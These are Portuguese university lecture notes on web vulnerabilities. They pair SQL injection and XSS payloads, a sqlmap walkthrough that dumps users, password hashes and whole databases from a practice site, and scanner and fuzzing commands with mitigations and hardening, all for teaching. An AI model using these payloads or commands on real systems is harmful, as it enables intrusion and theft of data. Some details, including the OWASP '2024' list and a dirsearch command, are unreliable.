CÓDIGO DA DISCIPLINA: DEE345
SEGURANÇA DIGITAL - Aula 11
Prof. Jéfer Benedett Dörr
Departamento de Engenharias e Exatas - UFPR/Palotina
Docente de Segurança da Informação
Aula 11: Vulnerabilidades Web e Injeção de Código
Objetivos de Aprendizagem
- Entender as principais vulnerabilidades web (SQLi, XSS) e seus riscos.
- Praticar exploração e mitigação usando ferramentas como sqlmap, ZAP e VEGA.
- Contextualizar no OWASP Top 10 e na cultura digital de segurança.
- Aplicar validação/sanitização de entrada e hardening de servidores web.
- Introduzir DevSecOps, SDL e CLASP no ciclo de desenvolvimento seguro.
1. OWASP Top 10 & Contexto
O OWASP Top 10 lista as 10 vulnerabilidades mais críticas em aplicações web:
- A01:2021 – Broken Access Control
- A03:2021 – Injeção (SQLi, LDAP, OS…)
- A05:2021 – Misconfiguration (servidores e frameworks desatualizados)
- A07:2021 – XSS (Refletido, Armazenado, DOM)
- A01:2024 - Controle de Acesso Quebrado (Falhas de autorização)
- A02:2024 - Falhas Criptográficas (Uso de algoritmos fracos, má gestão de chaves)
- A03:2024 - Injeção (SQLi, NoSQLi, LDAP, OS Command...)
- A04:2024 - Design Inseguro (Falhas arquiteturais de segurança)
- A05:2024 - Configuração Incorreta de Segurança (Configurações padrão, IaC inseguro)
- A06:2024 - Componentes Vulneráveis e Desatualizados (Libs com vulnerabilidades conhecidas)
- A07:2024 - Falhas de Identificação e Autenticação (MFA fraco, credential stuffing)
- A08:2024 - Falhas em Software e Dados Integridade (Supply chain attacks, CI/CD inseguro)
- A09:2024 - Falhas no Monitoramento de Segurança (Falta de logging, detecção tardia)
- A10:2024 - Falsificação de Solicitação do Lado do Servidor (SSRF) (Ataques a serviços internos)
Ferramentas
- OWASP Dependency-Check:
dependency-check --scan /projeto
. owasp.org
- Burp Suite: Proxy para testes manuais. portswigger.net
Prática: Mapeie um site vulnerável com Burp Suite e analise dependências com Dependency-Check.
2. SQL Injection
Permite injetar comandos SQL maliciosos para ler, modificar ou excluir dados.
2.1 Exemplos Manuais
?user=admin' OR '1'='1' --
?item=10 UNION SELECT username, password FROM users
2.2 Prática com sqlmap
# Listar bancos
sqlmap -u "http://alvo.com/vuln.php?id=1" --dbs
# Listar tabelas de 'loja'
sqlmap -u "...?id=1" -D loja --tables
# Listar colunas de 'clientes'
sqlmap -u "...?id=1" -D loja -T clientes --columns
# Extrair nome e email
sqlmap -u "...?id=1" -D loja -T clientes -C "nome,email" --dump
# Blind SQLi
sqlmap -u "...?id=1" --technique=T --dbs
Prática Guiada: SQLi com sqlmap
-
1. Descobrindo o SGBD e versão (-b
)
> sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -b
Este comando faz o “banner grabbing” do SGBD remoto, exibindo nome, versão e detalhes do servidor: MySQL, PostgreSQL, etc.
-
2. Banco de dados atual (--current-db
)
> ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-db
Mostra qual é o banco de dados padrão que a aplicação está usando (por exemplo, acuart
).
-
3. Listando todos os bancos (--dbs
)
> ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
Enumera todos os esquemas/bancos disponíveis no servidor para escolher seu alvo.
-
4. Listando tabelas de um banco (-D … --tables
)
> ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables
Seleciona o banco acuart
e mostra todas as tabelas que ele contém.
-
5. Listando colunas de uma tabela (-D … -T … --columns
)
> ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns
Foca na tabela users
dentro do banco acuart
e lista os nomes de todas as colunas.
-
6. Extraindo campos específicos (-C … --dump
)
> ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" \
-D acuart -T users -C "uname,pass" --dump
Informa as colunas uname
e pass
da tabela users
e “dumps” os valores (usuários e hashes de senha).
-
7. Dump completo do banco (--dump-all
)
> ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" \
-D acuart --dump-all
Automatiza toda a sequência: para cada tabela em acuart
faz --tables
, --columns
e --dump
, coletando todos os dados.
Dicas Práticas
- Use sempre opções como
--batch
para evitar prompts interativos em laboratórios.
- Combine
--level
e --risk
para ajustar a agressividade dos testes (ex.: --level=3 --risk=2
).
- Verifique o firewall/IPS local se os testes não retornam respostas esperadas.
- Documente cada comando e resultado em um relatório.
2.3 Mitigação
# PHP com prepared statements
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
Ferramentas
- Sqlmap: sqlmap.org
- Havij: Ferramenta gráfica (uso ético).
Havij: Exemplo Básico de Uso:
- Configuração Inicial:
- Baixe e instale o Havij (apenas para fins educacionais)
- Execute como administrador (requer .NET Framework)
- Teste Simples:
- No campo "Target URL", insira:
http://site-teste.com/login.php?id=1
- Clique em "Analyze" para detectar vulnerabilidades
- Resultados:
- Se vulnerável, o Havij mostrará:
- Nomes de bancos de dados
- Tabelas detectadas
- Possibilidade de extrair dados
Aviso Legal: O uso não autorizado é crime. Utilize apenas em sistemas próprios ou com permissão por escrito.
4. Ferramentas para Testes Web
-
VEGA (apt install vega) – scanner gráfico para XSS, SQLi, etc.
-
OWASP ZAP (zaproxy) – proxy interceptador + scanner automatizado.
zap-cli quick-scan http://alvo.com
. zaproxy.org
-
Metasploit WP Scanner – módulo `auxiliary/scanner/http/wp_login` para WordPress.
msfconsole -q -x "use auxiliary/scanner/http/wp_login"
- Nikto:
nikto -h http://alvo.com
. cirt.net
- Arachni:
arachni --url http://alvo.com
. arachni-scanner.com
Prática: Escaneie um site com ZAP, Nikto e Arachni, e teste um site WordPress com Metasploit.
Prática Guiada – VEGA Web Application Tester
-
Instalação
• No Debian/Ubuntu: sudo apt-get update && sudo apt-get install vega
• Alternativa manual: baixe o ZIP em https://subgraph.com/vega/ e descompacte.
-
Inicialização
• Execute no terminal: vega
• A interface Java vai abrir; crie um novo “Workspace” para este laboratório.
-
Configurar Proxy (opcional)
• Caso queira interceptar requisições de navegador, em Preferences → Proxy habilite o “Local Proxy” (padrão 127.0.0.1:1234) e configure seu browser para usar esse proxy.
-
Adicionar URL-alvo
• No painel “Sites”, clique em “New” e informe, por exemplo,
http://testphp.vulnweb.com
• O VEGA irá mapear automaticamente o site (crawler integrado).
-
Executar Scanner Automático
• Selecione seu alvo na lista e clique em “Scan”
• Marque módulos como “SQL Injection”, “Cross-Site Scripting” e “Directory Traversal”
• Clique em “Start Scan” e aguarde o VEGA identificar vulnerabilidades.
-
Analisar Resultados
• Abra a aba “Alerts” para ver cada vulnerabilidade detectada.
• Exemplo: um alerta de SQLi em /listproducts.php?cat=1
mostra payloads testados e resposta do servidor.
• Clique em cada item para ver detalhes e evidências.
-
Exemplo Prático
• Alvo: http://testphp.vulnweb.com/listproducts.php?cat=1
• VEGA aponta parâmetros vulneráveis e sugere payloads como ' OR '1'='1
.
• Confirme manualmente no navegador: http://…?cat=1' OR '1'='1
e verifique se retorna todo o catálogo.
-
Gerar Relatório
• Em “Report → Export” escolha PDF ou HTML para documentar suas descobertas.
• Inclua evidências, payloads utilizados e recomendações de correção.
5. Validação / Sanitização & OSINT
- Validação Rigorosa: usar whitelist, rejeitar tudo o que não casar. Whitelist com
preg_match('/^[a-zA-Z0-9]+$/', $input)
.
- Sanitização de Saída: `htmlspecialchars()`, `encodeURIComponent()`.
htmlspecialchars($input, ENT_QUOTES, 'UTF-8')
.
- Footprinting Web:
shodan search "nginx"
, censys search web.tls.certificate.parsed.extensions.subject_key_id
- Extensão Wappalyzer para identificar tecnologias do alvo.
- OSINT:
theharvester -d alvo.com -b google
shodan search "nginx"
Ferramentas
Prática: Realize footprinting com theharvester e implemente sanitização em PHP.
6. Hardening de Servidor Web
- Desabilitar listagem de diretórios:
# Apache
a2dismod autoindex
# Nginx
server_tokens off;
- Ocultar banner: O que são: Mensagens que servidores enviam contendo informações como:
- Nome e versão do software (Apache, Nginx, IIS)
- Sistema operacional
- Módulos habilitados
- Problema: Facilitam ataques ao revelar versões vulneráveis
- Ocultar banner:
# Apache
ServerSignature Off
ServerTokens Prod
# Nginx
server_tokens off;
- Verificação: Use
curl -I http://exemplo.com
ou scanners como Netcat
- Instalar mod_security ou OWASP CRS para filtragem de requisições.
apt install libapache2-mod-security2
.
- Manter SO e pacotes web atualizados:
sudo apt update && sudo apt upgrade
Ferramentas
Prática: Configure hardening em Apache e audite com Lynis.
7. Construindo Software Seguro (DevSecOps)
- CI/CD Seguro (Continuous Integration (Integração Contínua) e Continuous Delivery/Deployment (Entrega Contínua ou Implantação Contínua)): integrar scanners (Bandit, npm audit, Trivy) no pipeline.
- SDL: incluir design reviews, threat modeling, pen tests regulares.
- CLASP: Comunicação, Limitação, Abstração, Simplificação, Proteção, Herança dos dados.
CI/CD Seguro: Definição e Componentes
- CI (Continuous Integration):
- Integração contínua de código
- Automatiza testes e builds
- Riscos: Injeção de código malicioso via commits
- CD (Continuous Delivery/Deployment):
- Entrega/implantação contínua
- Automatiza releases em produção
- Riscos: Configurações inseguras ou credenciais vazadas
Exemplo de Boas Práticas:
# GitLab CI/CD seguro (.gitlab-ci.yml)
stages:
- security-scan
- build
sonarqube-check:
stage: security-scan
script:
- docker run --rm -v $(pwd):/src owasp/zap2docker zap-baseline.py -t $URL
deploy-prod:
stage: build
only:
- main
rules:
- if: $CI_COMMIT_TAG =~ /^v\d+\.\d+\.\d+$/
Ferramentas Seguras: GitLab SAST, OWASP ZAP, HashiCorp Vault (gestão de segredos)
8. Cultura Digital e Segurança Web
Como futuros educadores, conecte com:
- Projetos de conscientização (phishing simulations).
- Ensino de hábitos seguros: HTTPS, verificação de URLs, privacidade online. Verificar HTTPS com
curl -I https://alvo.com
.
- Material “Seja incrível na internet” / Interland para crianças.
Ferramentas
9. Técnicas Avançadas e Ferramentas Complementares
9.1 SQL Injection Avançado
- Fuzzing de parâmetros com wfuzz:
wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt \
--hc 404 http://alvo.com/vuln.php?FUZZ=1
- sqlmap com proxy e tamper scripts:
sqlmap -u "http://alvo.com/vuln.php?id=1" \
--proxy="http://127.0.0.1:8080" \
--tamper=space2comment,between
- Código PHP Seguro (Prepared Statement):
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?');
$stmt->execute([$_GET['id']]);
$user = $stmt->fetch();
- Teste manual com curl:
curl -v "http://alvo.com/vuln.php?id=1'"
# Observe erros de sintaxe SQL na resposta HTTP
9.2 XSS Avançado
- Fuzzing de payloads com XSStrike:
xsstrike -u "http://alvo.com/search?q=term" --crawl
- Uso de textContent em vez de innerHTML:
element.textContent = userInput;
- Exemplo de Content Security Policy (CSP):
Content-Security-Policy:
default-src 'self';
script-src 'self' https://apis.google.com;
object-src 'none';
9.3 Scanners Complementares
- Nikto:
nikto -h http://alvo.com -Tuning 9
- Dirsearch:
go run github.com/projectdiscovery/dirsearch \
-u http://alvo.com -e php,html -w /usr/share/wordlists/common.txt
- Arachni:
arachni http://alvo.com --report-save-path=relatorio.afr
9.4 Hardening de Servidor Web
- Verificar cabeçalhos de segurança:
curl -I http://alvo.com | grep -E "X-Frame-Options|X-Content-Type-Options|Referrer-Policy"
- Adicionar headers no Nginx:
add_header X-Frame-Options "DENY";
add_header X-Content-Type-Options "nosniff";
add_header Referrer-Policy "strict-origin";
- Testar SSL/TLS com sslscan:
sslscan alvo.com
9.5 DevSecOps e CI/CD Seguro
Quiz de Avaliação – Técnicas Avançadas e Ferramentas Complementares